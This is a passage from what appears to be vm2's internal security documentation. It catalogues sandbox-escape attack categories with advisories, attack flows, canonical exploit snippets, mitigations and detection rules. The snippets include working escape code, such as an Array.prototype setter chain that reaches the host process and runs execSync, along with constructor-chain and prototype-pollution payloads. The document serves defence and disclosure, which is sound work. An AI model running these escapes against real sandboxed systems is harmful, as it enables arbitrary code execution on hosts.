Buffer.from(new Proxy({}, {
  getOwnPropertyDescriptor() {
    throw f => f.constructor("return process")();
  }
}));

// getPrototypeOf trap to pollute Object.prototype
Object.defineProperty(Buffer.from(""), "y", {
  value: new Proxy({}, {
    getPrototypeOf(target) {
      Object.defineProperty(Object.prototype, "get", {
        get() {
          throw f => f.constructor("return process")();
        }
      });
      return Object.getPrototypeOf(target);
    }
  })
});

// Construct trap returning a function
new Proxy(class A {}, {
  construct() {
    return function() {
      return Object.getPrototypeOf(this).constructor.constructor("return process")();
    };
  }
});

// instanceof bypass via getPrototypeOf
throw new Proxy({}, {
  getPrototypeOf: () => {
    throw x => x.constructor.constructor("return process")();
  }
});

Why It Works

The bridge must inspect and copy properties of objects that cross the boundary. If those objects are Proxies, the trap handlers execute in a context where unsanitized host references might be available as arguments.

Mitigation

The bridge wraps the Proxy constructor to sanitize handler objects. Proxy handlers inherit from null-prototype objects to prevent Object.prototype pollution from affecting trap resolution. Proxy.revocable is also considered: revocation creates errors in the realm where the proxy was created, so it does not introduce cross-realm errors.

Detection Rules

  • new Proxy(...) with trap handlers, especially: getPrototypeOf, getOwnPropertyDescriptor, has, get, set, apply, construct.
  • Throwing from within a Proxy trap -- the thrown value might be a function that receives host references.
  • Proxy traps that modify Object.prototype -- combining proxy exploitation with prototype pollution.
  • Proxy as argument to host functions like Buffer.from(), where the bridge will inspect the proxy's properties.
  • Proxy.revocable -- revocation creates TypeError in the proxy's realm; not directly exploitable but worth monitoring.

Attack Category 9: Proxy Handler Exposure via util.inspect

Advisories: GHSA-v37h-5mfm-c47c, GHSA-qcp4-v2jj-fjx8

Tests: test/ghsa/GHSA-v37h-5mfm-c47c/, test/ghsa/GHSA-qcp4-v2jj-fjx8/, test/vm.js ("Buffer.prototype.inspect handler exposure via showProxy attack"), test/vm.js ("doPreventExtensions not accessible via handler exposure through showProxy"), test/vm.js ("getFactory not accessible via handler exposure through showProxy"), test/vm.js ("Handler get() direct call with forged target leaking host Function constructor"), test/vm.js ("inspect with showProxy:true still reveals proxy structure (issue #566)")

Description

When Node.js's util.inspect is called with showProxy: true, it exposes the internal target and handler of Proxy objects. If proxy handlers store references to raw host objects in accessible locations, attackers can retrieve these references. This technique relies on Category 8: Cross-Realm Symbol Extraction to obtain the real inspect symbol, and the handler methods become vectors for Category 1: Constructor Chain Traversal.

Attack Flow

  1. Duck-typing exploit: Buffer.prototype.slice internally calls this.subarray(start, end). By setting subarray to Buffer.prototype.inspect, calling slice invokes inspect with attacker-controlled arguments.
  2. Inspect options access: Buffer.prototype.inspect accepts inspect options including callbacks like stylize. Inside these callbacks, this refers to the internal inspect context.
  3. Handler exposure via showProxy: When showProxy: true is set, the inspect context's seen array can contain proxy handler objects.
  4. Handler probing: Attacker enumerates handler properties/methods looking for anything that returns raw unwrapped host objects.
  5. Constructor chain escape: With access to a raw host function, the attacker climbs func.constructor.constructor("return process")() to escape.

Canonical Examples

javascript
// Duck-typing to invoke Buffer.prototype.inspect with controlled options
const obj = {
    subarray: Buffer.prototype.inspect,
    slice: Buffer.prototype.slice,
    hexSlice: () => '',
    l: {__proto__: null}
};

obj.slice(20, {
    showHidden: true,
    showProxy: true,
    depth: 10,
    stylize(a) {
        const handler = this.seen?.[1];
        if (handler) {
            // Attacker probes handler for any property/method
        }
        return a;
    }
});

// Specific attack via handler.get() with forged target
// Uses host-side Array.reduce to call handler.get(rawHostFunction, 'constructor')
// The constructor fallback returns thisReflectGetPrototypeOf(target).constructor
// = Function.prototype.constructor = raw host Function

// Specific attack via fromOtherWithContext method
// handler.fromOtherWithContext({__proto__: null, x: sandboxProxy}).x
// returns raw host function, bypassing proxy protection

// Specific attack via doPreventExtensions method
// handler.doPreventExtensions(target, craftedObject, handler)
// accepted object as a direct parameter, enabling crafted-object injection

Why fromOtherWithContext Leaks

The fromOtherWithContext method was specifically designed to convert sandbox objects to host objects. When an attacker passed {__proto__: null, x: sandboxProxy}, the method returned a host object where .x was the raw host function, not a wrapped version. The fix moved this to a closure-scoped function, inaccessible from the handler reference.

Why handler.get() Direct Call Leaks

The BaseHandler.prototype.get method's constructor case had a fallback path that used the target parameter: const proto = thisReflectGetPrototypeOf(target); return proto.constructor;. When called directly (bypassing the proxy mechanism) with a raw host function as target, this returned Function.prototype.constructor -- the raw host Function. The attack used Array.reduce with apply.bind(apply) as the reducer to chain: handler.get.call(handler, rawHostFunction, 'constructor').

The fix adds isThisDangerousFunctionConstructor check on the return value, blocking Function, AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. The __proto__ fallback was also hardened to use otherReflectGetPrototypeOf(object) instead of target.

Why Handler Class Reconstruction Leaks (GHSA-v37h-5mfm-c47c)

After the closure-scoped WeakMap migration (a6cd917), handler instances no longer expose .object/.factory as instance properties, so reading properties off a leaked handler yields nothing useful. But the handler class itself was still reachable: handler β†’ Object.getPrototypeOf(handler) β†’ BaseHandler.prototype β†’ .constructor β†’ BaseHandler. Calling new BaseHandler(attackerObject) constructed a legitimate handler wrapping attacker-controlled state, which the .set trap would then use to plant a host-realm proxy of that state into attacker-visible memory -- giving the attacker a cross-realm read/write channel. Reflect.construct, custom newTarget, class extends, Object.setPrototypeOf({}, BaseHandler.prototype), and pp.set.call(forgedThis, ...) all achieved variants of the same primitive.

Mitigation

Wrapped objects stored in closure-scoped WeakMap (handlerToObject), accessed only via closure-scoped getHandlerObject() function. Conversion methods moved to closure-scoped functions. Proxy target is a fresh shell object. Handler get trap checks isThisDangerousFunctionConstructor on return values. Four additional layers:

  1. Construction token (GHSA-v37h-5mfm-c47c): createBridge() captures an unforgeable module-local Symbol('vm2 bridge handler construction') in closure. Every BaseHandler/ProtectedHandler/ReadOnlyHandler/ReadOnlyMockHandler constructor requires this token as its first argument and throws VMError(OPNA) otherwise. All legitimate construction sites (defaultFactory, protectedFactory, readonlyFactory, and the closure-scoped createReadOnlyMockHandler / newBufferHandler helpers used by setup-sandbox.js) inject the token from closure. Subclass construction via class X extends pp.constructor { constructor(o){super(o);} } fails because super(o) sees token = o rather than the real sentinel. Reflect.construct(Handler, [s]) and Reflect.construct(Handler, [s], altNewTarget) fail identically.
  2. getHandlerObject WeakMap guard (GHSA-v37h-5mfm-c47c): the closure-scoped getHandlerObject(handler) now explicitly checks handlerToObject.has(handler) and throws VMError(OPNA) if not β€” so trap methods invoked on a sandbox-forged receiver (Object.setPrototypeOf({}, pp), pp.set.call(forged, ...)) refuse to operate rather than returning undefined deeper into the trap body.
  3. Constructor-property sentinel rebind (GHSA-v37h-5mfm-c47c): the .constructor property on every handler prototype (BaseHandler.prototype, ProtectedHandler.prototype, ReadOnlyHandler.prototype, ReadOnlyMockHandler.prototype, plus subclasses defined in setup-sandbox.js like BufferHandler via the rebindHandlerConstructor helper) is replaced with a blockedHandlerConstructor function that unconditionally throws VMError(OPNA). Prototype-chain walks from any leaked handler never reach a callable form of the real class.
  4. validateHandlerTarget (GHSA-qcp4-v2jj-fjx8): a closure-scoped handlerToTarget WeakMap pairs every handler with its canonical proxy target at construction time. Every trap method on BaseHandler (16), ProtectedHandler (2 overrides), ReadOnlyHandler (6 overrides), and ReadOnlyMockHandler (1 override) calls validateHandlerTarget(this, target) at entry, which rejects (a) handlers not in the WeakMap (forged this) and (b) trap calls whose target argument doesn't strict-equal the canonical target paired with that handler at construction (forged target). Both reject with VMError(OPNA). The Proxy machinery always supplies the canonical target, so legitimate dispatch is unchanged. This closes the showProxy seen[1] exposure path: a leaked handler invoked directly with attacker-supplied targets (gP(gP(gP(gP(Buffer))))) is rejected at the first call.

These defenses are independent: even if one fails (e.g., future WeakMap tampering compromises the has check), the others still block the escape.

Detection Rules

  • Buffer.prototype.inspect assigned to object properties -- duck-typing setup.
  • Buffer.prototype.slice called on non-Buffer objects.
  • showProxy: true in inspect options.
  • this.seen access in stylize or other inspect callbacks.
  • Duck-typed objects with subarray, slice, hexSlice -- mimicking Buffer interface.
  • handler.get(forgedTarget, 'constructor') -- direct call to get trap with attacker-controlled target (now blocked).
  • b.reduce(apply.bind(apply), handler.get) -- using host-side Array.reduce to chain handler calls.
  • Calling handler methods directly (handler.get(), handler.apply(), etc.).
  • new pp.constructor(...) / Reflect.construct(pp.constructor, ...) -- attempting to reconstruct a handler from a leaked instance (now blocked via construction token).
  • class X extends pp.constructor -- subclassing a reachable handler class (now blocked via token propagation).
  • pp.set.call(forgedThis, ...) / pp.get.call(forgedThis, ...) -- method invocation on a forged receiver (now blocked via getHandlerObject WeakMap guard).
  • handler.getPrototypeOf(Buffer) / handler.set(Buffer, key, val) / any trap with a forged target -- a real registered handler invoked with an attacker-supplied first argument to walk host prototypes (now blocked via validateHandlerTarget strict-equality check against handlerToTarget, GHSA-qcp4-v2jj-fjx8).

Attack Category 11: Monkey-Patching Bridge Internals

Advisories: none

Tests: test/vm.js ("Monkey patching attack"), test/vm.js ("Function.prototype.call attack via Promise"), test/vm.js ("Object.defineProperty override attack via Promise species")

Description

Attackers override fundamental methods (call, apply, bind, defineProperty) to intercept the bridge's internal operations, which rely on these methods to safely copy values.

Attack Flow

  1. Override Function.prototype.call, .apply, .bind, or Object.defineProperty in the sandbox.
  2. Trigger a bridge operation (e.g., passing a value across the boundary).
  3. The bridge's internal operations use the overridden methods, executing attacker code.

Canonical Examples

javascript
// Override all critical methods at once
Object.defineProperties(Object.prototype, {
  '__proto__': { value: null },
  'get': { value: desc },
  'set': { value: desc },
  'apply': { value: desc },
  'call': { value: desc }
});

// Targeted method override
Function.prototype.call = function(...args) {
  return captureHostReferences(this, args);
};

Why It Works

The bridge uses Function.prototype.call, .apply, and Reflect.apply internally. If these are overridden before a bridge operation is triggered, the attacker's code runs with access to internal bridge references. This is why the bridge caches references to Reflect.apply and other critical functions at initialization time.

Mitigation

The bridge caches all critical methods (Reflect.apply, Reflect.construct, Reflect.defineProperty, etc.) at initialization. It uses Reflect.apply(cachedMethod, ...) instead of obj.method() for all internal operations. Proxy handlers use null-prototype objects to prevent Object.prototype pollution from affecting trap resolution.

Detection Rules

  • Any assignment to Function.prototype.call, .apply, or .bind.
  • Object.defineProperties on Object.prototype or Function.prototype.
  • Assigning null to __proto__ on fundamental prototypes.
  • Override of Reflect.apply, Reflect.construct, Reflect.defineProperty, etc.
  • Override of Object.defineProperty itself.

Attack Category 14: Object.prototype Trap Pollution via `in` Operator

Advisories: none

Tests: test/vm.js ("proxy trap via Object.prototype attack"), test/vm.js ("lookupGetter / lookupSetter attack")

Description

The in operator triggers the has trap on Proxy objects. By polluting Object.prototype.has, attackers can intercept in operations on all proxy-wrapped objects.

Attack Flow

  1. Set Object.prototype.has = function(target, key) { ... }.
  2. Use the in operator on a bridge-proxied object: "property" in Buffer.from.
  3. Since the proxy handler inherits from Object.prototype, the polluted has becomes the trap.
  4. The trap receives target (the raw unwrapped target) as its first argument.

Canonical Examples

javascript
Object.prototype.has = (target, key) => {
  process = target.constructor("return process")();
};
"property" in Buffer.from;
process.mainModule.require("child_process");

Why It Works

Proxy handlers inherit from Object.prototype. If has is defined on Object.prototype, it acts as the has trap for any Proxy whose handler does not explicitly define one. The target argument to the trap is the raw (unwrapped) target.

Mitigation

Proxy handlers use null-prototype objects ({__proto__: null}), preventing Object.prototype pollution from affecting trap resolution.

Detection Rules

  • Object.prototype.has = ... -- prototype pollution targeting proxy traps.
  • Object.prototype.get = ..., Object.prototype.set = ... -- same pattern for other traps.
  • "x" in proxiedObject -- triggering has trap on bridge-wrapped objects.
  • Any property name matching Proxy trap names (has, get, set, apply, construct, getPrototypeOf, etc.) defined on Object.prototype.

Attack Category 27: Internal State Probe via Computed Property Access on `globalThis`

Advisories: GHSA-wp5r-2gw5-m7q7, GHSA-2cm2-m3w5-gp2f

Tests: test/ghsa/GHSA-wp5r-2gw5-m7q7/, test/ghsa/GHSA-2cm2-m3w5-gp2f/, test/vm.js ("internal state attack"), test/vm.js ("transformer attack")

Uses: Category 12 (the transformer is a syntactic gate; computed keys are invisible to it).

Supersedes: GHSA-wp5r-2gw5-m7q7 ("Transformer Fast-Path Bypass Exposes Internal State Variable") whose mitigation tightened the transformer's identifier-rejection but kept globalThis[INTERNAL_STATE_NAME] reachable for any non-identifier read path.

Description

The transformer protects the VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL identifier so user source cannot reference it as a bare name (any declaration or use, including \u-escaped variants, throws Use of internal vm2 state variable). Until this fix, however, the value the identifier resolves to was installed as a permanent non-enumerable own property on the sandbox globalThis. Identifier rejection is a syntactic control, but property reads use a dynamic key β€” the AST walker has no way to evaluate globalThis[k] where k is a string literal, a computed string, a base-decoded blob, or a key obtained from Object.getOwnPropertyNames(globalThis). Every reflective probe of the global object therefore returned the live state object and its wrapWith / handleException / import methods.

CVSS:3.1 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N). CWE-693 (Protection Mechanism Failure). Today the exposed methods are defensive utilities only and there is no direct escape primitive β€” the impact is "complete bypass of a security control" and the latent attack surface for any future addition to the state object.

Attack Flow

  1. Sandbox code asks globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL'] (string literal, transformer never inspects strings) β€” pre-fix returned the state object.
  2. Or Reflect.get(globalThis, '…') / Object.getOwnPropertyDescriptor(globalThis, '…') / '…' in globalThis β€” same.
  3. Or simply Object.getOwnPropertyNames(globalThis).filter(n => n.startsWith('VM2_')) to discover the canonical name without hardcoding it, then read with bracket access.
  4. The returned object's properties are sandbox-realm functions (wrapWith, handleException, import); calling them today is innocuous, but any future sensitive method on that object would be immediately exploitable.

Canonical Examples

javascript
// (advisory GHSA-2cm2-m3w5-gp2f)
const {VM} = require("vm2");
console.log(new VM().run(`
  globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
// pre-fix: { wrapWith, handleException, import }
javascript
// Equivalent variants β€” all resolve via the same own-property read path
new VM().run(`Reflect.get(globalThis, 'VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL')`);
new VM().run(`Object.getOwnPropertyDescriptor(globalThis, 'VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL')`);
new VM().run(`'VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL' in globalThis`);
new VM().run(`Object.getOwnPropertyNames(globalThis).find(n => n.includes('VM2_INTERNAL'))`);

Why It Works

The transformer rejects any user-source Identifier node whose name matches INTERNAL_STATE_NAME. Property reads are not identifier nodes β€” the AST has MemberExpression(globalThis, computed: 'VM2_…') where the second argument is a Literal whose value is a string. The walker does not evaluate string contents, so it cannot tell whether the dynamic key happens to coincide with the protected identifier. Even tightening the walker to reject the substring would still miss globalThis['VM2' + '_INTERNAL_…'], globalThis[String.fromCharCode(86,77,…)], base64-decoded blobs, or names obtained from Object.getOwnPropertyNames(globalThis) at runtime. As long as the value is reachable via [[Get]] on the global object, no transformer-level filter can close the class.

The previous mitigation (GHSA-wp5r-2gw5-m7q7) hardened the transformer's identifier-rejection (kept the regex bailout consistent, added the unicode-escape force-AST). It correctly closed the bare-identifier path but left the computed-key path entirely open, because the global property still existed β€” that fix was specific to the identifier route, not structural for the binding.

Mitigation

Restores Defense Invariant 10 ("Dynamic code compilation paths cannot reach an unwrapped host realm") for the implicit dependency of every transformer-instrumented catch / with / import() rewrite on the canonical identifier β€” the binding it resolves to is now a sandbox-controlled lexical record entry rather than an attacker-reflectable global property.

lib/vm.js (bootstrap script source for setupSandboxScript):

js
const setupSandboxScript = compileScript(
  `${__dirname}/setup-sandbox.js`,
  `let ${INTERNAL_STATE_NAME};(function(global, host, bridge, data, context) { … })`,
);

The leading let ${INTERNAL_STATE_NAME} lands the binding in the context's [[GlobalLexicalEnvironment]] β€” a separate ECMAScript record from the global object's own-property table. Three properties of that record are what makes the fix structural:

  1. Reachable as a bare identifier from every script in the context. Bare-identifier resolution walks the script's own lex chain, then [[GlobalLexicalEnvironment]], then the global object. The transformer's emitted ${INTERNAL_STATE_NAME}.handleException(e) therefore still resolves; this works equally for VM scripts, indirect-eval'd source (the EvalHandler's localEval), Function constructor bodies, and the NodeVM module wrapper, because all of them are evaluated with the same context's GlobalLexicalEnvironment as the outermost lexical outer.
  2. Not reachable from globalThis[k], Reflect.get, descriptor APIs, or any own-property enumeration. GlobalLexicalEnvironment entries are not properties of the global object; the global object's [[OwnPropertyKeys]] does not include them. globalThis['VM2_…'], Reflect.has, '…' in globalThis, Object.getOwnPropertyNames, Reflect.ownKeys, and prototype-chain enumeration all return undefined / false / no entry.
  3. Persistent across runInContext calls in the same context. User scripts that legitimately rely on top-level let x = … carrying over to a later vm.run(...) continue to work β€” those declarations land in the same record, and the bootstrap's let is declared exactly once at VM construction.

lib/setup-sandbox.js then assigns interanState into that outer binding (VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL = interanState); the previous localReflectDefineProperty(global, …) call is removed entirely. The transformer continues to reject any user-source occurrence of the canonical identifier (including unicode-escape variants), so user code can neither shadow the binding (let VM2_… would collide with the bootstrap declaration) nor reference it (VM2_… as bare name is rejected at compile time). The only reference paths that resolve are the transformer's own injected emissions.

Detection Rules

  • globalThis[stringLiteral] or Reflect.get(globalThis, …) in security-sensitive code review where the literal could be the canonical name. Flag any read of a long, all-caps, underscore-separated key on globalThis from sandboxed code paths.
  • Object.getOwnPropertyNames(globalThis) filtered or pattern-matched in user code β€” there is no legitimate reason for sandboxed code to enumerate the global object looking for vm2-prefixed names.
  • New properties added to the interanState object in lib/setup-sandbox.js must continue to be covered by the GlobalLexicalEnvironment binding; do not re-introduce a defineProperty on global "for compatibility" β€” that re-opens this category.
  • Future code that needs to expose a sandbox-controlled value to transformer-emitted code should follow the same pattern: declare an outer let in the bootstrap script source and assign to it from the IIFE, rather than installing a global object property. Document the design decision next to the new let.

Considered Attack Surfaces

  • let VM2_… = "evil" in user source. Transformer rejects the canonical identifier in any declaration form (var/let/const/parameter/function name/class name) so user code cannot redeclare or shadow the bootstrap binding. A redeclaration attempt would otherwise throw a SyntaxError because top-level lets share the GlobalLexicalEnvironment β€” but the transformer rejects earlier, with a clearer error.
  • Function('return globalThis')() then bracket access. Function constructor bodies execute with the realm's GlobalEnv as outer; bare ${INTERNAL_STATE_NAME} inside a Function body resolves through the same GlobalLexicalEnvironment, which is the intended path for transformer-emitted code. Bracket access via globalThis['VM2_…'] from inside a Function body returns undefined for the same reason it does from any other script.
  • Indirect eval ((0, eval)('…')). Indirect eval re-creates the lex env chain rooted at GlobalEnv; the GlobalLexicalEnvironment is consulted during identifier resolution exactly as for top-level script code. eval('globalThis["VM2_…"]') returns undefined; the transformer-emitted catch handlers inside eval'd source still resolve through the GlobalLexicalEnvironment.
  • with(globalThis) { VM2_… } after constructing a string with the canonical name dynamically. The transformer instruments user with() heads with wrapWith(), which wraps the head expression in a Proxy whose has trap returns false for INTERNAL_STATE_NAME β€” so even a dynamically-named with head cannot expose the binding via the with-scope's identifier resolution path.
  • Multiple VMs sharing a process. Each new VM() constructor creates its own vm.Context, which has its own GlobalLexicalEnvironment. The bootstrap's let is per-context, so VM1's binding is invisible to VM2 (and vice versa). The fix does not introduce cross-VM coupling.

Attack Category 28: Bridge Internal-State Leak via Sandbox-Realm Array Setter

Advisories: GHSA-9qj6-qjgg-37qq, GHSA-q3fm-4wcw-g57x, GHSA-grj5-jjm8-h35p

Tests: test/ghsa/GHSA-9qj6-qjgg-37qq/, test/ghsa/GHSA-q3fm-4wcw-g57x/, test/ghsa/GHSA-grj5-jjm8-h35p/, test/vm.js ("neutralizeArraySpecies prevents species attack in apply trap"), test/vm.js ("Array constructor write via defineProperty is intercepted")

Uses: Category 2: Prototype Chain Manipulation, Category 4: Error Object Exploitation, Category 18: Array Species Self-Return via Constructor Manipulation

Description

Bridge-internal containers β€” lists, maps, and saved-state records that exist only for the bridge's own bookkeeping β€” are reached from sandbox-realm closures whose intrinsics (Array.prototype, Object.prototype, Map.prototype) are attacker-reachable. When such a container is appended to with an ordinary index assignment obj[obj.length] = value, V8's [[Set]] walks the prototype chain whenever no own slot exists at the target index. A sandbox-installed setter on Array.prototype[N] therefore fires during the bridge's own write and observes (or mutates) the bridge's raw state.

This category covers two concrete sites that exhibit the same primitive. Both are closed by switching to identity-stable, prototype-bypassing writes (Reflect.defineProperty on numeric keys).

Variant Site Container Setter receives Today's impact
A β€” Species saved-state (GHSA-9qj6-qjgg-37qq, CVSS 9.8) neutralizeArraySpeciesBatch in lib/bridge.js saved[] of { arr, originalDesc, marker } host-realm proxy value.arr of the argument array RCE via arr.f.constructor.constructor("return process")()
B β€” Stack-trace formatter (GHSA-q3fm-4wcw-g57x, CVSS 2.1) defaultSandboxPrepareStackTrace in lib/setup-sandbox.js lines[] of formatted frame strings primitive string ' at CallSite {}' side-channel observation; no host reference reachable today because post-#563 wrapping forces every frame through sandbox CallSite.toString() which always returns the safe literal

Variant B is a hardening fix rather than an exploit-today escape: the value handed to the setter is a primitive string, not a host reference. The structural concern is that the underlying primitive (bridge-internal container invokes sandbox code) is identical to Variant A, so any future change that enriches the appended record (e.g. an object holding a CallSite proxy or an error reference) would regress straight into the Variant A RCE shape.

Attack Flow

Variant A β€” species saved-state β†’ RCE:

  1. Setter on Array.prototype[0]: sandbox code defines Object.defineProperty(Array.prototype, 0, { set(value) { ... } }).
  2. Plant a chain hop: sandbox stores a useful reference on the argument array, e.g. a.f = Buffer.prototype.inspect β€” when read back via the host-realm proxy, this returns a host-realm Function instance whose constructor.constructor is host Function.
  3. Trigger the apply/construct trap: new Buffer(a) (or any host function call with a sandbox array argument). The bridge runs args = otherFromThisArguments(args) and then savedSpecies = neutralizeArraySpeciesBatch(context, args).
  4. Setter fires on the bridge's own state: saved[saved.length] = c walks the sandbox Array.prototype chain, hits Array.prototype[0]'s setter, and hands c (containing the host-realm proxy arr) to attacker code.
  5. Pivot through the leaked proxy: value.arr.f.constructor.constructor("return process")() reaches host process, then mainModule.require('child_process').execSync(...) for arbitrary command execution.

Variant B β€” stack-trace formatter:

  1. Setter on Array.prototype[N]: sandbox installs Object.defineProperty(Array.prototype, 1, { set(value) { ... } }). Index 1 is the first slot the formatter writes (the array starts at [header], length 1).
  2. Trigger the formatter: any access to error.stack runs the wrapped defaultSandboxPrepareStackTrace. The wrap is installed by the Error.prepareStackTrace setter and routes the default through the same CallSite wrapping path as user-provided formatters.
  3. Bridge-internal write fires sandbox code: the formatter executes lines[lines.length] = ' at ' + callSites[i]. With no own slot at index 1, V8 walks the chain and invokes the attacker-installed setter, which observes every appended frame.
  4. Read-side variant: even with the indexed writes hardened, lines.join('\n') looks up Array.prototype.join via the prototype chain. A sandbox override receives the lines array and can rewrite the final stack string.

Canonical Examples

Variant A β€” RCE:

javascript
const { VM } = require('vm2');
new VM().run(`
    const a = [];
    Object.defineProperty(Array.prototype, 0, {
        set(value) {
            a.f = Buffer.prototype.inspect;
            value.arr.f.constructor.constructor('return process')()
                .mainModule.require('child_process').execSync('touch pwned');
        }
    });
    new Buffer(a);
`);

Variant B β€” observability:

javascript
const { VM } = require('vm2');
const result = new VM().run(`
    const observed = { setterFired: false, capturedValue: null, indexFired: null };
    Object.defineProperty(Array.prototype, 1, {
        configurable: true,
        set(value) {
            observed.setterFired = true;
            observed.indexFired = 1;
            observed.capturedValue =
                typeof value === 'string' ? value.slice(0, 40) : typeof value;
        },
        get() { return undefined; }
    });
    const e = new Error('x');
    e.stack;
    observed;
`);
// Before fix: { setterFired: true, indexFired: 1, capturedValue: '    at CallSite {}' }

Why It Works

Both neutralizeArraySpeciesBatch and defaultSandboxPrepareStackTrace execute inside sandbox-realm closures. The apply/construct trap that wraps a host function for sandbox use installs sandbox-side handlers, so the bridge code in lib/bridge.js runs in the sandbox-realm copy of the shared closure; the stack-trace formatter in lib/setup-sandbox.js runs on the sandbox global scope by construction. In both cases the [] array literal allocates a sandbox-realm Array whose prototype chain is sandbox Array.prototype β€” fully attacker-controllable.

obj[obj.length] = value is an ordinary [[Set]] with receiver obj. Absent an own data slot at the target index, V8 walks [[Prototype]] and invokes any accessor it finds, passing value to the setter. The same applies to .join: the lookup walks [[Prototype]] to find Array.prototype.join, and an override there receives the lines array as this.

The bridge's existing pattern in thisFromOtherArguments already uses thisReflectDefineProperty to install argument indices precisely because index assignment via [i] = triggers prototype-chain setters. The two sites covered here were outliers β€” Variant A introduced when the species defense (GHSA-grj5-jjm8-h35p) replaced its earlier no-restore variant with a saved-list design; Variant B introduced under the post-#563 hardening for Category 19 when defaultSandboxPrepareStackTrace was added to keep V8 off Node's host-side formatter.

Mitigation

Variant A: neutralizeArraySpeciesBatch now installs every entry with thisReflectDefineProperty(saved, savedLen, { value, writable: true, enumerable: true, configurable: true }) in lib/bridge.js. Reflect.defineProperty creates an own data property and bypasses the prototype-chain setter completely, so a sandbox-installed setter on Array.prototype[N] is never invoked while the bridge holds raw saved state. restoreArraySpeciesBatch is symmetric without code change: indexed reads on savedList[i] now land on own data slots installed by the neutralize pass, so a sandbox-installed getter on Array.prototype[N] cannot intercept, substitute, or mutate the saved-state record between neutralize and restore either. The defense is index-agnostic β€” it holds for index 0, any positive integer index, and any shape of argument list (context-only, args-only, or both).

Variant B: defaultSandboxPrepareStackTrace no longer materialises an array. The formatter folds each frame directly into a string accumulator via primitive concatenation (result += '\n' + frame), removing every reachable Array.prototype slot at once β€” index setters, the final .join, and any hypothetical future enrichment of the bridge-internal container. String concatenation routes through primitive [[Get]] of callSites[i] (a sandbox-realm CallSite wrapper whose toString returns the safe 'CallSite {}' literal) and primitive string-plus, neither of which dispatch through Array.prototype or Object.prototype. makeCallSiteGetters (same file) is converted for symmetry to install each entry via localReflectDefineProperty(callSiteGetters, idx, { value, ... }); this loop runs at sandbox init before user code can install setters, so it is safe today, but the consistent pattern prevents future regressions and keeps the indexed reads at applyCallSiteGetters immune to later sandbox-installed getters on Array.prototype[N].

Together these fixes restore Defense Invariant #11: Bridge-Internal Containers Must Not Invoke Sandbox Code: any list, set, or map allocated for the bridge's exclusive use must read and write through identity-stable, prototype-bypassing primitives β€” never operators that fall through to Array.prototype / Object.prototype / Map.prototype.{get,set}. The same invariant explains why the bridge already uses thisReflectApply(thisWeakMapSet, mapping, [k, v]) rather than mapping.set(k, v) everywhere. The chokepoint is now uniform across lib/bridge.js and lib/setup-sandbox.js.

Supersedes: this category retroactively hardens the Category 18 species defense by closing the saved-list write path the attacker would otherwise use to extract the very state the species fix produces. Variant B closes the audit gap from Variant A's original mitigation, which was scoped to lib/bridge.js.

Detection Rules

  • Object.defineProperty(Array.prototype, , { set: ... }) immediately preceding a host-function call or error.stack read β€” classic shape of either variant; near-zero legitimate use case.
  • Array.prototype.join override followed by Error access β€” read-side variant of the stack-trace primitive.
  • Setter or getter on Array.prototype numeric indices in untrusted code β€” should be treated as suspicious in any sandboxed context, regardless of which bridge container is the target.
  • Reads of value.arr / value.constructor / value. inside an Array.prototype setter β€” capture-and-extract pattern aimed at bridge state.

Considered Attack Surfaces

  • saved.length write via sandbox Array.prototype.length getter: writing to saved[savedLen] reads saved.length only via the local counter; even if reading were used, V8 services array length from the magic own slot and never consults Array.prototype.length for instances.
  • Object.prototype setter on numeric keys: in Variant A, c is a { __proto__: null, ... } literal, so reads on value.arr inside the captured record do not walk Object.prototype either; even if they did, the leak channel is the Array.prototype[N] setter, not the record's own access path.
  • callSites[i] invoking sandbox toString (Variant B): callSites[i] is a sandbox-realm CallSite wrapper instance whose toString is defined as a fixed 'CallSite {}' literal. The string concatenation invokes that wrapper, which is deliberate sandbox-facing API β€” Invariant #11 forbids the bridge container from invoking sandbox code, not the bridge from invoking documented sandbox-realm safe accessors on individual values.
  • ' at ' + callSites[i] triggering Symbol.toPrimitive (Variant B): the CallSite wrapper does not define Symbol.toPrimitive, so V8 invokes the standard toString/valueOf path. The wrapper's toString returns a string, so the conversion never reaches Symbol.toPrimitive even if it were defined on Object.prototype (which the existing symbol-filter defenses would catch separately).
  • result += '\n' + frame and host-realm primitives (Variant B): string + is a pure primitive operation on the V8 string type and does not dispatch through Object.prototype or String.prototype accessors.
  • Equivalent pattern elsewhere in the bridge: audited end-to-end. thisFromOtherArguments, otherFromThisArguments, and every other index-write site in lib/bridge.js use thisReflectDefineProperty or otherReflectDefineProperty. neutralizeArraySpeciesBatch (Variant A) and defaultSandboxPrepareStackTrace / makeCallSiteGetters (Variant B) were the remaining outliers; both are now fixed. The invariant is uniform across lib/bridge.js and lib/setup-sandbox.js.

Attack Category 44: `vm.freeze()` Read-Only Bypass via Accessor Setter Leak

Advisories: GHSA-633r-hq9m-c4ff

Tests: test/ghsa/GHSA-633r-hq9m-c4ff/, test/vm.js ("with freeze"), test/vm.js ("ReadOnly proxy reports non-extensible without throwing (#567)"), test/vm.js ("species defense still blocks attacks via frozen host arrays (#567 follow-up)")

Uses: Category 6: Proxy Trap Exploitation, Category 15: Property Descriptor Value Extraction

Description

vm.freeze(hostObject, name) is documented to expose a read-only view of a host object to the sandbox. ReadOnlyHandler makes the write traps inert: cfg.level = x throws 'set' on proxy: trap returned falsish, and Object.defineProperty(cfg, ...) / delete cfg.level return false.

But when the host object carries an accessor property (get / set), the descriptor-read path leaks an operative setter. BaseHandler.getOwnPropertyDescriptor wraps both desc.get and desc.set into live, bridged functions. ReadOnlyHandler overrode the write traps but not the descriptor read, so the sandbox could pull the wrapped setter off the frozen proxy and call it:

javascript
const d = Object.getOwnPropertyDescriptor(cfg, 'level');
d.set.call(cfg, 'PWNED');                 // wrapped setter β†’ BaseHandler.apply β†’ raw host setter
cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');   // same descriptor, different reader

